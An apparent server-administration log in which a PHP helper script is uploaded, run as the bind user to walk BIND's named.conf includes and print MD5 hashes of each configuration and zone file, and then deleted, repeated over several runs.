MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:22:55: Establishing a connection
2026-04-23 18:22:55: 

PUT: /tmp/pkp530239

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:22:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp530239; rm /tmp/pkp530239'

2026-04-23 18:22:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:22:57: Establishing a connection
2026-04-23 18:22:57: 

PUT: /tmp/pkp794293

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:22:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp794293; rm /tmp/pkp794293'

2026-04-23 18:22:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
